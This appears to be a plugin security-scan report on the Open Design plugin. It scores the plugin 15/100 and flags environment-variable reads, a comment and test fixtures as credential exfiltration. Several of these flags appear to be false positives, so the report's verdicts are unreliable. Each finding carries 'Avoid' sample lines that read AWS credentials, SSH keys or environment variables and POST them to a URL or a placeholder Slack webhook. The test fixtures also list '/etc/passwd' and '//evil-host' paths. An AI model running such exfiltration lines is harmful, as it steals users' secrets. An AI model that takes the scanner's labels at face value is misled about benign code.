Open Design— plugin

Open Design — independently scanned and version-tracked by SaferSkills.

by nexu-io·Plugin·github.com/nexu-io/open-design
103,924stars11,879forksReview on GitHub →

Is Open Design safe to install?

SaferSkills independently audited Open Design (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 11 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
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Re-scan~30s
Latest scan
ScannedJun 26, 2026 · 131d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 11 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 11 flagged

Securityscore 0 · 11 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · apps/daemon/src/storage/project-storage.ts×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (const accessKeyId = env.OD_S3_ACCESS_KEY_ID …). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptapps/daemon/src/storage/project-storage.ts· typescript
413// setups (`aws configure` exporters, IAM-role pods) drop in
414// without renaming.
415const accessKeyId = env.OD_S3_ACCESS_KEY_ID ?? env.AWS_ACCESS_KEY_ID ?? '';
416const secretAccessKey = env.OD_S3_SECRET_ACCESS_KEY ?? env.AWS_SECRET_ACCESS_KEY ?? '';
417const sessionToken = env.OD_S3_SESSION_TOKEN ?? env.AWS_SESSION_TOKEN;
Occurrences
3 occurrences · first at L415, also L416, L417
Show all 3 locations
Line
File
L415
apps/daemon/src/storage/project-storage.ts
L416
apps/daemon/src/storage/project-storage.ts
L417
apps/daemon/src/storage/project-storage.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · apps/daemon/src/artifact-focus-marker.ts
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (* not a symlink to `~/.ssh/id_rsa`. Checking aft…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptapps/daemon/src/artifact-focus-marker.ts· typescript
121* The realpath round-trip is the point. `normalizeArtifactFocusPath` proves the
122* declared string does not escape; it cannot prove that `assets/logo.png` is
123* not a symlink to `~/.ssh/id_rsa`. Checking after resolution closes that gap,
124* and checking the root through `realpath` too keeps the comparison honest when
125* the project directory is itself reached through a symlink (which it is on
Occurrences
1 occurrence · at L123
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256c84a706284235e56…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · apps/daemon/tests/acp.test.ts
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (name: '/Users/alice/.ssh/id_rsa',). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptapps/daemon/tests/acp.test.ts· typescript
1793kind: 'other',
1794// Untrusted free-text that must not become a tool_use name / Langfuse label.
1795name: '/Users/alice/.ssh/id_rsa',
1796status: 'completed',
1797rawOutput: 'ok',
Occurrences
1 occurrence · at L1795
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fff…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · apps/daemon/tests/artifact-focus-marker.test.ts×2
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header ('/Users/elian/.ssh/id_rsa',). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptapps/daemon/tests/artifact-focus-marker.test.ts· typescript
195'/etc/passwd',
196'/proj/../etc/passwd',
197'/Users/elian/.ssh/id_rsa',
198'/projX/index.html',
199'//evil-host/share/x',
Occurrences
2 occurrences · first at L197, also L245
Show all 2 locations
Line
File
L197
apps/daemon/tests/artifact-focus-marker.test.ts
L245
apps/daemon/tests/artifact-focus-marker.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fff…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · apps/daemon/tests/langfuse-trace.test.ts
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (name: '/Users/alice/.ssh/id_rsa',). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerptapps/daemon/tests/langfuse-trace.test.ts· typescript
763{
764id: 'path-tool-1',
765name: '/Users/alice/.ssh/id_rsa',
766startedAt: 1_700_000_001_000,
767endedAt: 1_700_000_001_800,
Occurrences
1 occurrence · at L765
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha2566eca2c923ad05fff…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · .github/workflows/discord-resolved.yml×3
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (https://discord.com/api/webhooks/*) ;;). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpt.github/workflows/discord-resolved.yml· yaml
150fi
151case "$WEBHOOK" in
152https://discord.com/api/webhooks/*) ;;
153https://discordapp.com/api/webhooks/*) ;;
154*)
Occurrences
3 occurrences · first at L152, also L153, L156
Show all 3 locations
Line
File
L152
.github/workflows/discord-resolved.yml
L153
.github/workflows/discord-resolved.yml
L156
.github/workflows/discord-resolved.yml
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256313eeba70f25d732…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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